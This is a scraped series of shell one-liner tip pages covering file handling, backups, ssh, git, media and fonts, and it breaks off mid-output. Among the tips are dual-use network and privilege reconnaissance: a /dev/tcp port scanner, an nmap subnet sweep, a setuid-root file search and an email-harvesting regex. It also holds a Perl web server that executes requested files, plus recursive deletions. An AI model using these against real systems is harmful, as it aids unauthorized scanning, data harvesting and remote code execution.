ctrl+v,ctrl+m portion represents key presses that you should do. If you do it successfully you should see a ^M character appear. lsof -i | grep -i estab Show established network connections curl http://www.reddit.com/r/wallpapers.rss | grep -Eo 'http:[^&]+jpg' | head -1 | xargs feh --bg-seamless Functions: grep head xargs set desktop background to highest-rated image from Reddit /r/wallpapers You'll need "feh" to set the background from the commandline. Install with "apt-get install feh" Thanks to the Redditors on this thread: http://www.reddit.com/r/linux/comments/bira4/is_there_a_linux_version_of_this_preferably_a/ ssh user@remote 'cat >> ~/.ssh/authorized_keys2' < ~/.ssh/id_rsa.pub Install your ssh key file on a remote system mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi Convert video files to XviD for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$(mp3info -p "%a/%l/%t.mp3" "$file")";done Functions: file ln mkdir Sort your music This will mv all your mp3 files in the current directory to $ARTIST/$ALBUM/$NAME.mp3 Make sure not to use sudo - as some weird things can happen if the mp3 file doesn't have id3 tags. echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf This command will disable the beep sound from the PC speaker. shout () { curl -s "http://shoutkey.com/new?url=$1" | sed -n 's/\<h1\>/\&/p' | sed 's/<[^>]*>//g;/</N;//b' ;} $ shout http://www.commandlinefu.com remind Create an easy to pronounce shortened URL from CLI Just add this function to your .zshrc / .bashrc, and by typing "shout *URL*" you get a randomly chosen English word that ShoutKey.com uses to short your URL. You may now go to shoutkey.com/*output_word* and get redirected. The URL will be valid for 5 minutes. (I've never used sed before, so I'll be quite glad if someone could straighten up the sed commands and combine them (perhaps also removing the whitespace). If so, I'll update it right away ;) ) ‹ First < 70 71 72 73 74 > Last › file /bin/* | msort -j -l -n-1 -n2 2> /dev/null /bin/zgrep: Bourne-Again shell script text executable /bin/zless: Bourne-Again shell script text executable /bin/setupcon: POSIX shell script text executable /bin/bzmore: POSIX shell script text executable /bin/unicode_start: POSIX shell script text executable /bin/which: POSIX shell script text executable /bin/more: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.8, dynamically linked (uses shared libs), stripped /bin/false: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.8, dynamically linked (uses shared libs), stripped Sort on multiple dis-contiguous keys/fields (can even specify key number/field from the end) 1) -n-1 means sort key is the last field 2) -l is important if each separate record is on a new line (usually so for text files) 3) -j tells msort not to create log file (msort.log) in the working directory 4) may need to install msort package. 5) msort does lot more. Check man msort grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove --purge Remove today's installed packages fc-list | cut -d ':' -f 1 | sort -u Andale Mono Arab Arial Arial Black AR PL UMing CN AR PL UMing HK AR PL UMing TW AR PL UMing TW MBE Balker Bitstream Charter Bitstream Vera Sans Bitstream Vera Sans Mono Bitstream Vera Serif .... Functions: cut fc fc-list sort Which fonts are installed? See all fonts installed in your system mwiki() { dig +short txt "$*".wp.dg.cx; } $ mwiki Richard Stallman "Richard Matthew Stallman (born March 16, 1953), often abbreviated \"rms\", is an American software freedom activist, hacker, and software developer. http://en.wikipedia.org/wiki/Richard_Stallman" Shorter version, works with multiple words. shopt -s cdable_vars Enable cd by variable names mydir=/very/long/path/to/a/dir cd mydir I often need to cd where no man wants to go (i.e. long path). by enabling the shell option cdable_vars, I can tell cd to assume the destination is the name of a variable. cp --parents /source/file /target-dir copy/mkdir and automatically create parent directories The --parents option will cause cp or mkdir to automatically create the parent directory structure. mkdir --parents /one/two/three/dir will create /one, /one/two, and /one/two/three as needed before creating dir. cp will copy files with their full directory structure into the target directory with this option. Thanks to Peter Leung at: http://linuxcommando.blogspot.com/2007/11/use-of-parents-flag-in-mkdir-and-c.html which has good examples of usage. ps -eo stat,pid,user,command | egrep "^STAT|^D|^R" ps -eo stat,pid,user,command | egrep "^STAT|^D|^R" STAT PID USER COMMAND Functions: egrep ps Find the processes that are on the runqueue. Processes with a status of Want to know why your load average is so high? Run this command to see what processes are on the run queue. Runnable processes have a status of "R", and commands waiting on I/O have a status of "D". On some older versions of Linux may require -emo instead of -eo. On Solaris: ps -aefL -o s -o user -o comm | egrep "^O|^R|COMMAND" vi `!!` $ dpkg -L trac-bzr | grep README /usr/share/pyshared/trac/htdocs/README /usr/share/pyshared/trac/templates/README /usr/share/doc/trac/contrib/workflow/README /usr/share/doc/trac/README.Debian.gz $ vi -o `!!` Edit file(s) that has been just listed That will open vi with the four README files in different viewports. Specially handy when you find there is only one file matching your pattern and you don't want to specify the full path. urxvtd -q -o -f Using the urxvt terminal daemon - for .xsession use - Advantages of running a urxvt daemon include faster creation time for terminal windows and a lot of saved memory. You can start new terminals as childs of urxvtd by typing urxvtc. Another advantage is, that background jobs are always owned by the urxvtd and will survive as long the daemon is running. yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done } create the function then run 'yt-chanrip username' to download that user's entire channel. uses youtube-dl and the GData API. similar to http://www.commandlinefu.com/commands/view/3154/download-youtube-playlist find /path -type d -perm 777 -exec chmod 755 {} \; fix broken permissions ping -i1 www.google.com &> /dev/null & disown Continue to execute the command in background even though quitting the shell. nmap 192.168.0-1.0-255 -sP Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 15:03 PDT Host ddwrt (192.168.0.1) appears to be up. Host aveil (192.168.0.52) appears to be up. Host MARIN (192.168.0.133) appears to be up. Host midna (192.168.0.149) appears to be up. Host saria (192.168.0.123) appears to be up. Nmap done: 512 IP addresses (5 hosts up) scanned in 1.935 seconds Show all machines on the network while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump -C | grep "ca fe" Functions: grep head hexdump sleep true Not as taxing on the CPU. curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-art-free-sample-00[00-19].jpg bulk dl files based on a pattern -O switch creates local filename same as remote curl [][] -o #1#2 makes local files unique inserting sequence values into #x placeholders sequences can be alpha or numeric e.g [a-z] [1-25] i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done Functions: echo find wc Remove EXIF data from images with progress mogrify -resize 800\> * Batch resize all images in the current directory that are bigger than 800px, height or weight. You need to install imagemagick. On Debian type: # apt-get install imagemagick jot -r -n 8 0 9 | rs -g 0 Print a random 8 digit number mysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \; Functions: gzip rm backup local MySQL database into a folder and removes older then 5 days backups yes n YES = NO export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> " C:\home> This one eliminates the additional backslash at the end (which is not necessary) find . -name .svn -exec rm \-rf {} \; Recursively remove all subversion folders xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0 --start_no 0 --continue yes --gui no --auto Record your desktop That will capture 200 seconds of video at fullscreen 1680x1050 resolution, but scaled down 25 percent, with 15 frames per second. http://fusioncast.blogspot.com/2007/09/infobyte-how-i-record-my-desktop.html lspci -vv Functions: lspci list your device drivers great for running off a bootable cd to identify hardware other os's can't detect for a in path/* ; do ccenrypt -K <password> $a; done en/decrypts files in a specific directory To decrypt the files replace "ccenrypt" with "ccdecrypt. ccrypt(1) must be installed. It uses the AES (Rijndael) block cipher. To make it handier create an alias. ‹ First < 71 72 73 74 75 > Last › /usr/proc/bin/pfiles $PID lsof equivalent on solaris Report fstat(2) and fcntl(2) information for all open files in each process. for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done 22 open 25 open 53 open 80 open 110 open 111 open 143 open Simplest port scanner Very handy way to perform a host scan if you don't have nmap,ncat,nc ...or other tools installed locally. When executing a command on a /dev/tcp/$host/$port pseudo-device file, Bash opens a TCP connection to the associated socket and UDP connection when using /dev/udp/$host/$port.A simlpe way to get servers banner is to run this command "cat < /dev/tcp/localhost/25" , here you will get mail server's banner. NOTE: Bash, as packaged for Debian, does not support using the /dev/tcp and /dev/udp pseudo-device it's not enabled by default Because bash in Debian is compiled with ?disable-net-redirections. find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum Create md5sum of files under the current dir excluding some directories Useful if you want get all the md5sum of files but you want exclude some directories. If your list of files is short you can make in one command as follow: find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -exec md5sum {} \; Alternatively you can specify a different command to be executed on the resulting files. <alt+q> % very_long_command_you <alt+q> % #empty prompt (output of the new command you inserted) % very_long_command # the first command will pop out automagically on the new prompt Postpone a command [zsh] When writing on the command line of zsh, by pressing Alt+q the command will be cleaned, and you can insert another one. The command you were writing will be recorder, and pasted on the prompt immediately after the "interrupting" command is inserted. find . -type f ! -name "*html" find all non-html files TZ=PST8PDT+72 date '+%Y_%m_%d' $ TZ=PST8PDT+72 date '+%Y_%m_%d' 2010_06_29 Print a date from 3 days ago This command prints the Date (Not time) from 3 days ago (72 hours ago). This works on systems without GNU date (MacOSX , Solaris, FreeBSD). git ls-files -z --deleted | xargs -0 git rm $ git status # On branch master # Changed but not updated: # (use "git add/rm <file>..." to update what will be committed) # deleted: some file # deleted: some_file # deleted: somefile no changes added to commit (use "git add" and/or "git commit -a") $ git ls-files -z --deleted | xargs -0 git rm rm 'some file' rm 'some_file' rm 'somefile' I've used technicalpickles command a lot, but this one handles whitespaces in filenames. I'm sure you want to create an alias for it :) Boot another OS at next startup dvd+rw-format -force /dev/dvd1 Blank/erase a DVD-RW xrandr -s 1280x1024 Change display resolution -s must be a valid resolution. You can get a list of valid (and supported) resolutions via `xrandr`. rename 's/.txt/.md/i' * mplayer -vc null -vo null -ao pcm <input video file> -ss <start> -endpos <end> Extract audio from start to end position from a video mplayer -vc null -vo null -ao pcm Firefly\ ep\ 10.avi -ss 195 -endpos 246 Will create file audiodump.wav with audio from second 195 to second 246 (the opnening theme). wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}' Find a CommandlineFu users average command rating find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz Functions: find tar xargs Compress files found with find tar options may change ;) c to compress into a tar file, z for gzip (j for bzip) man tar -print0 and -0t are usefull for names with spaces, \, etc. identify -verbose *.jpg|grep "\(Image:\|Resolution\)" Identify name and resolution of all jpgs in current directory ps ax -o "%p %U %u %x %c %n" Format ps command output ps command gives the possibility to display information with custom formatting with the -o options followed by the format specifier list. startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600 Start another instance of X via SSH watch --interval 1 "cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep MHz; cat /proc/acpi/processor/*/throttling" Every 1.0s: cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep MHz; cat /proc/acpi/processor/*/thro... Thu Dec 9 22:44:30 2010 0 - Active; 1 - Passive polling frequency: 5 seconds state: ok cpu MHz : 800.000 state count: 8 active state: T0 state available: T0 to T7 states: Monitor cpu freq and temperature This is maybe helpfull from system overheat on your linux box > foobar.txt ls -ltcrh Show latest changed files \bTERM\b Search for a word in less Although less behaves more or less like vim in certain aspects, the vim regex for word boundaries (\< and \>) do not work in less. Instead, use \b to denote a word boundary. Therefore, if you want to search for, say, the word "exit", but do not want to search for exiting, exits, etc., then surround "exit" with \b. This is useful if you need to search for specific occurrences of a keyword or command. \b can also be used at just the beginning and end, if needed. man -t man | lp Check your printer Print out a man page man -t manpagename gives a postscript version of said man page. You then pipe it to ls, and assuming you have cups set up, it prints in your default printer. find . ! -name "$(printf '*[\001-\037\177]*')" Skip filenames with control characters, a.k.a tab,newline etc cat -v -t -e $ cat sample.txt Tab followed_by unix_newline Tab followed_by dos_newline $ cat -v -t -e sample.txt Tab^Ifollowed_by unix_newline$ Tab^Ifollowed_by dos_newline^M$ View non-printing characters with cat Useful to detect number of tabs in an empty line, DOS newline (carriage return + newline). A tool that can help you understand why your parsing is not working. mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest for Sun Freeware mirror=ftp://sunsite.informatik.rwth-aachen.de/pub/mirror/ftp.sunfreeware.com pkg=perl curl -l $mirror/intel/10/ 2>/dev/null | grep $pkg perl-5.8.5-sol10-intel-local.gz perl-5.8.7-sol10-x86-local.gz perl-5.8.8-sol10-x86-local.gz command above would download only perl-5.8.8-sol10-x86-local.gz Functions: grep tail wget get the latest version to download latest version of "util", maybe insert a sort if they wont be shown in right order. curl lists all files on mirror, grep your util, tail -1 will gets the one lists on the bottom and get it with wget ‹ First < 72 73 74 75 76 > Last › cd `dirname $_` iconv -f utf8 -t utf16 /path/to/file Convert encoding of given files from one encoding to another lsof -iTCP -sTCP:ESTABLISHED | awk '{print $1}' | sort -u show all established tcp connections on os x mount -o loop -t iso9660 my.iso /mnt/something mount an iso mounts an ISO file to a directory on the target file system ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate" sed (1p) - stream editor pwd (1) - print name of current/working directory mount (2) - mount and unmount filesystems ln (1) - make links between files for newbies, how to get one line info about all /bin programs Get simple description on each file from /bin dir, in list form, usefull for newbies. tail -f access_log | cut -c2-21 | uniq -c Realtime apache hits per second Change the cut range for hits per 10 sec, minute and so on... Grep can be used to filter on url or source IP. autossh -f -i /path/to/key -ND local-IP:PORT User@Server Setup a persistant SSH tunnel w/ pre-shared key authentication This creates a persistent ssh -i /path/to/key -ND local-IP:PORT User@Server connection. You may have to install autossh. -f puts in daemon mode. if you are having trouble, try it without -f. N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N" Functions: awk cat grep ls sed xargs restore the contents of a deleted file for which a descriptor is still available Note that the file at the given path will have the contents of the (still) deleted file, but it is a new file with a new node number; in other words, this restores the data, but it does not actually "undelete" the old file. I posted a function declaration encapsulating this functionality to http://www.reddit.com/r/programming/comments/7yx6f/how_to_undelete_any_open_deleted_file_in_linux/c07sqwe (please excuse the crap formatting). perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv export HISTCONTROL=ignoreboth A bit of privacy in .bash_history Moreover ignore duplicates from history. To be set in .bashrc ex. $ export HISTCONTROL=ignoreboth $ echo antani $ history|grep -c antani cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'" scp a good script from host A which has no public access to host C, but with a hop by host B middlehost allows ssh access from where you are but not securehost. Use nice ssh piping to simulate scp through A => B => C setting up the shell function if left as an exercise for the reader. ;-) Agent forwarding should avoid password typing. awk '{avg += ($1 - avg) / NR;} END { print avg; }' Compute running average for a column of numbers This is an on-line algorithm for calculating the mean value for numbers in a column. Also known as "running average" or "moving average". echo 'ServerAliveInterval 60' >> /etc/ssh/ssh_config Avoids ssh timeouts by sending a keep alive message to the server every 60 seconds ssh_config is the system-wide configuration file for ssh. For per-user configuration, which allows for different settings for each host: echo 'ServerAliveInterval 60' >> ~/.ssh/ssh_config On OSX: echo 'ServerAliveInterval 60' >> ~/.ssh/config echo 'ServerAliveInterval 60' >> ~/etc/ssh_config mv ubuntu-10.04-rc-desktop-amd64.iso ubuntu-10.04-desktop-amd64.iso; i=http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-amd64.iso.zsync; while true; do if wget $i; then zsync $i; date; break; else sleep 30; fi; done Functions: mv sleep wget Auto download Ubuntu 10.04 LTS with super fast zsync Need to have rc iso pre-downloaded before running command. p=$(echo "hello world, how r u?"|sed 's/ /+/g');wget -U Mozilla -q -O - "$@" translate.google.com/translate_tts?tl=en\&q=$p|mpg123 - Functions: echo mpg123 sed wget same but redirecting to player and putting whaever text line.. works on my ubuntu machine ... find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF " " $0 } ' | sort -nrf | head -10 Functions: awk find head sed sort get the top 10 longest filenames a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"` Count to 65535 in binary (for no apparent reason) Yes, it's useless. file =top zsh only: access a file when you don't know the path, if it is in PATH Say you want to execute 'file' on the command 'top' (to determine what type of file it is); but you don't know where 'top' resides: preface the argument with = and zsh will implicitly prepend the path. ssh-copy-id user@host Same as original just no $ at start openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3 enter des-ede3-cbc encryption password: Verifying - enter des-ede3-cbc encryption password: Encrypted archive with openssl and tar The lifehacker way: http://lifehacker.com/software/top/geek-to-live--encrypt-your-data-178005.php#Alternate%20Method:%20OpenSSL "That command will encrypt the unencrypted-data.tar file with the password you choose and output the result to encrypted-data.tar.des3. To unlock the encrypted file, use the following command:" openssl des3 -d -salt -in encrypted-data.tar.des3 -out unencrypted-data.tar ifconfig | awk '/HWaddr/ { print $NF }' Functions: awk ifconfig du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh List top ten files/directories sorted by size absolute_path () { readlink -f "$1"; }; Get the absolute path of a file find /dir_name -mtime +5 -exec rm {} \ This command will delete files i a given path (/dir_name) , which older than given time in days (-mtime +5 will delete files older than five days. ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql Functions: gunzip ssh Get a MySQL DB dump from a remote machine This command will dump a database on a remote stream to stdout, compress it, stream it to your local machine, decompress it and put it into a file called database.sql.You could even pipe it into mysql on your local machine to restore it immediately. I had to use this recently because the server I needed a backup from didn't have enough disk space. ‹ First < 73 74 75 76 77 > Last › getfacl file1 | setfacl --set-file=- file2 same as the chmod example, but should also copy extended access control list attributes. deliberately stolen from: man setfacl usermod -a -G groupname username Functions: usermod Add existing user to a group perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })' Perl Simple Webserver First we accept a socket and fork the server. Then we overload the new socket as a code ref. This code ref takes one argument, another code ref, which is used as a callback. The callback is called once for every line read on the socket. The line is put into $_ and the socket itself is passed in to the callback. Our callback is scanning the line in $_ for an HTTP GET request. If one is found it parses the file name into $1. Then we use $1 to create an new IO::All file object... with a twist. If the file is executable("-x"), then we create a piped command as our IO::All object. This somewhat approximates CGI support. Whatever the resulting object is, we direct the contents back at our socket which is in $_[0]. curl -I http://localhost Send an http HEAD request w/curl sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g Removes ANSI color and end of line codes to the [{attr1};...;{attrn}m format. dig +trace google.com Trace a DNS query from root to the authoritive servers. Simple command to trace a DNS query from the root all the way to the authoritative servers. vimdiff tera.py <(ssh -A testserver "cat tera.py") vimdiff to remotehost vimdiff to remotehost sudo find / -user root -perm -4000 -print Find files with root setuids settings sudo pmset schedule sleep "08/31/2009 00:00:00" Functions: sleep sudo Mac Sleep Timer Schedule your Mac to sleep at any future time. Also wake, poweron, shutdown, wakeorpoweron. Or repeating with sudo pmset repeat wakeorpoweron MTWRFSU 7:00:00 Query with pmset -g sched Lots more at http://www.macenterprise.org/articles/powermanagementandschedulingviathecommandline find /tmp -type f -printf 'rm "%p";\n' take a look to command before action add |sh when you agree the list, I often use that method to prevent typos in dangerous or long operations cat /path/to/7z.sfx /path/to/archive > archive.exe Create a self-extracting archive for win32 using 7-zip using `cat` under *NIX - just because you help manage M$ Windoze *doesn't* mean you should have to resort to using it! You can also make custom win32 installers with the 7zip "extras" package: cat /path/to/7zSD.sfx /path/to/config.txt /path/to/archive > setup.exe tzwatch Fri Aug 7 18:23:49 PDT 2009 Local Sat Aug 8 11:23:49 EST 2009 Australia/Sydney Sat Aug 8 02:23:49 WEST 2009 Europe/Lisbon Sat Aug 8 02:23:49 BST 2009 Europe/London get time in other timezones On Ubuntu, if tzwatch is installed, then you can call up in terminal the output for every time zone configured in gWorldClock. find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out 18932792 ./scrip5.sql 16632595 ./scrip1.sql Find all the files more than 10MB, sort in descending order of size and record the output of filenames and size in a text file. This command specifies the size in Kilobytes using 'k' in the -size +(N)k option. The plus sign says greater than. -exec [cmd] {} \; invokes ls -l command on each file and awk strips off the values of the 5th (size) and the 9th (filename) column from the ls -l output to display. Sort is done in reversed order (descending) numerically using sort -rn options. A cron job could be run to execute a script like this and alert the users if a dir has files exceeding certain size, and provide file details as well. echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg $ echo "74.125.45.100 google.com" >> /etc/hosts bash: /etc/hosts: Permission denied $ sudo echo "74.125.45.100 google.com" >> /etc/hosts $ echo "74.125.45.100 google.com" | sudo tee -a /etc/hosts Tweak system files without invoking a root shell only for sudo-style systems. Use this construct instead of I/O re-directors ``>'' or ``>>'' because sudo only elevates the commands and *not* the re-directors. ***warning: remember that the `tee` command will clobber file contents unless it is given the ``-a'' argument Also, for extra security, the "left" command is still run unprivileged. find /home -uid 1056 -exec chown 2056 {} \; Functions: chown find Change the ownership of all files owned by one user. Finds all files in /home owned by UID 1056 and changes to 2056. egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words $ wc -l /usr/share/dict/words 98569 /usr/share/dict/words $ egrep -ci "^[aoeuidhtns-]+$" /usr/share/dict/words 1969 $ egrep -ci "^[asdfghjkl\;\']+$" /usr/share/dict/words Show the power of the home row on the Dvorak Keyboard layout Quick and dirty command that counts how many words can be typed just using the home row on the Dvorak Simplified Keyboard layout from a dictionary file, in this case /usr/share/dict/words. According to the regular expression supplied, each word must contain all the keys on the Dvorak home row, and no other characters. For comparison, I've shown how many words are installed in my dictionary, how many can be typed with just the Dvorak home row and how many can be typed with just the QWERTY home row in the sample output. Nearly 10 times the amount. If you want to see the words, remove the -c switch, and each word will be printed out. function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; } ps auxwww |nowrap Functions: cut export unset no more line wrapping in your terminal works on all unices. mkdir !* ~$ cd Desktop/Notes Error: No such file or directory. ~$ mkdir -v !* mkdir: The directory ?Desktop/Notes? has been created. ~$ !-2 Use the arguments used in the last command Very basic, but who knows.. mkdir !$ should work too, only uses 'the last' argument. !-2 executes cd Desktop/Notes again. More tips in 'man history' <esc> q a ...vim commands... <esc> q (to record macro) @a (plays macro 'a'). Create and replay macros in vim You can record, then replay a series of keystrokes in vim. In command mode 'q', then a letter [a-zA-Z] starts macro recording mode. Enter a series of vim commands. When done, enter command mode again, and press 'q' to stop recording. To replay, enter command mode, then press @{letter} strings /dev/mem|less Functions: strings find . -type d -name .svn -delete Recursively remove .svn directories $ mplayer -dumpaudio -dumpfile <filename>.mp3 <filename>.flv grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html foo@bar.com banana@coconutz.eu find all email addresses in a file, printing each match. Addresses do not have to be alone on a line etc. For example you can grab them from HTML-formatted emails or CSV files, etc. Use a combination of ...|sort|uniq$ to filter them. Every 2,0s: vmstat -sSM Fri Dec 4 23:32:13 2009 Monitor memory usage Monitor with watch command and vmstat, memory usage dig +short $HOSTNAME Get your external IP address if your machine has a DNS entry ‹ First < 74 75 76 77 78 > Last › ssh -t server 'cd /etc && $SHELL' ssh: change directory while connecting Useful to create an alias that sends you right in the directory you want : alias server-etc="ssh -t server 'cd /etc && $SHELL'" find . -type d -name .svn -execdir rm -rf {} + Recursively remove .svn directories from a local repository hex() { bc <<< "obase=16; $1"; } $ hex 65535 FFFF Use the standard calculator bc to convert decimals to hex ARRAY=(aa bb cc);echo ${ARRAY[1]} split a string (1) git add --patch <filename> Stage only portions of the changes to a file. svn ci `svn stat |awk '/^A/{printf $2" "}'` Functions: awk stat Commit only newly added files to subversion repository fortune | cowsay -f $(ls /usr/share/cowsay/cows/ | shuf -n1) _____________________________________ / Change your thoughts and you change \ \ your world. / ------------------------------------- .!!!!!:. .:!!!!!!!!!!!! ~~~~!!!!!!. .:!!!!!!!!!UWWW$$$ Have a random "cow" say a random thing You need to have fortune and cowsay installed. It uses a subshell to list cow files in you cow directory (this folder is default for debian based systems, others might use another folder). you can add it to your .bashrc file to have it great you with something interesting every time you start a new session. cu -s 9600 -l /dev/ttyS0 cu (call UNIX) establishes a full-duplex connection to another machine (*BSD) using a serial console. man cu http://www.openbsd.org/cgi-bin/man.cgi?query=cu&apropos=0&sektion=0&manpath=OpenBSD+Current&arch=i386&format=html svn list -R https://repository.com --xml >> svnxxmlinfo.xml <entry kind="file"> <name>images/test.gif</name> <size>950</size> <commit revision="1000"> <author>admin</author> <date>2008-11-04T21:57:26.334829Z</date> </commit> </entry> Output a list of svn repository entities to xml file I use this to pull the last commit date for everything in my repo, so I can tell the client which files haven't been touched or updated since the repo was created. Another way to do it is to use svn log, but that does not pull the "kind" attribute. It does, however, give you the commit message. Both are very useful. curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml identica is an open source social networking and micro-blogging service. Based on Laconica, a micro-blogging software package built on the OpenMicroBlogging specification. http://identi.ca/ rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]' --exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/ How to backup hard disk timely? Creates files in $DATE and hardlinks existing files to $PREVDATE. Thus full backup in each directory. Only drawback is changed modification time. Recommend a wrapper script to determine $DATE and $PREVDATE. Works like a charm. (Dirvish handrolled) ( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; ) $ ( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; ) 000 ================================================================================================================================================================================ 001 ================================================================================================================================================================================ 002 ================================================================================================================================================================================ 003 ================================================================================================================================================================================ 004 ================================================================================================================================================================================ 005 ================================================================================================================================================================================ 006 ================================================================================================================================================================================ 007 ================================================================================================================================================================================ 008 ================================================================================================================================================================================ 009 ================================================================================================================================================================================ 010 Print all 256 colors for testing TERM or for a quick reference This is super fast and an easy way to test your terminal for 256 color support. Unlike alot of info about changing colors in the terminal, this uses the ncurses termcap/terminfo database to determine the escape codes used to generate the colors for a specific TERM. That means you can switch your terminal and then run this to check the real output. tset xterm-256color at any rate that is some super lean code! Here it is in function form to stick in your .bash_profile aa_256 () ( x=`tput op` y=`printf %$((${COLUMNS}-6))s`; for i in {0..256}; do o=00$i; echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x; done ) From my bash_profile: http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html cat /sys/class/net/*/address 00:23:54:19:c8:bc 0a:00:27:00:00:00 No need for the ls -r and a sort is also not really needed. pkill -u `whoami` This will probably kill any user sessions and/or ssh connections to other servers you might have active. lynx -dump somefile.html Takes an html file and outputs plain text from it LD_TRACE_LOADED_OBJECTS=1 name_of_executable LD_TRACE_LOADED_OBJECTS=1 dropbear print shared library dependencies May be used on (embedded) systems lack ldd date +%s 1234531837 Unixtime displays time in seconds since January 1, 1970 UTC sudo fc-cache -f -v gnu@robby:~/.fonts$ sudo fc-cache -f -v /usr/share/fonts: caching, new cache contents: 0 fonts, 4 dirs /usr/share/fonts/X11: caching, new cache contents: 0 fonts, 6 dirs /usr/share/fonts/X11/100dpi: caching, new cache contents: 0 fonts, 0 dirs /usr/share/fonts/X11/75dpi: caching, new cache contents: 0 fonts, 0 dirs /usr/share/fonts/X11/Type1: caching, new cache contents: 83 fonts, 0 dirs /usr/share/fonts/X11/encodings: caching, new cache contents: 0 fonts, 1 dirs /usr/share/fonts/X11/encodings/large: caching, new cache contents: 0 fonts, 0 dirs /usr/share/fonts/X11/misc: caching, new cache contents: 0 fonts, 0 dirs /usr/share/fonts/X11/util: caching, new cache contents: 0 fonts, 0 dirs /usr/share/fonts/cmap: caching, new cache contents: 0 fonts, 0 dirs /usr/share/fonts/truetype: caching, new cache contents: 0 fonts, 16 dirs /usr/share/fonts/truetype/arphic: caching, new cache contents: 12 fonts, 0 dirs /usr/share/fonts/truetype/freefont: caching, new cache contents: 12 fonts, 0 dirs /usr/share/fonts/truetype/kochi: caching, new cache contents: 4 fonts, 0 dirs /usr/share/fonts/truetype/latex-xft-fonts: caching, new cache contents: 7 fonts, 0 dirs /usr/share/fonts/truetype/openoffice: caching, new cache contents: 1 fonts, 0 dirs /usr/share/fonts/truetype/thai: caching, new cache contents: 51 fonts, 0 dirs /usr/share/fonts/truetype/ttf-arabeyes: caching, new cache contents: 39 fonts, 0 dirs /usr/share/fonts/truetype/ttf-bitstream-vera: caching, new cache contents: 10 fonts, 0 dirs /usr/share/fonts/truetype/ttf-dejavu: caching, new cache contents: 21 fonts, 0 dirs /usr/share/fonts/truetype/ttf-indic-fonts-core: caching, new cache contents: 11 fonts, 0 dirs /usr/share/fonts/truetype/ttf-lao: caching, new cache contents: 1 fonts, 0 dirs /usr/share/fonts/truetype/ttf-liberation: caching, new cache contents: 12 fonts, 0 dirs /usr/share/fonts/truetype/ttf-sil-yi: caching, new cache contents: 1 fonts, 0 dirs /usr/share/fonts/truetype/unfonts: caching, new cache contents: 4 fonts, 0 dirs /usr/share/fonts/truetype/unifont: caching, new cache contents: 1 fonts, 0 dirs /usr/share/fonts/truetype/wqy: caching, new cache contents: 1 fonts, 0 dirs /usr/share/fonts/type1: caching, new cache 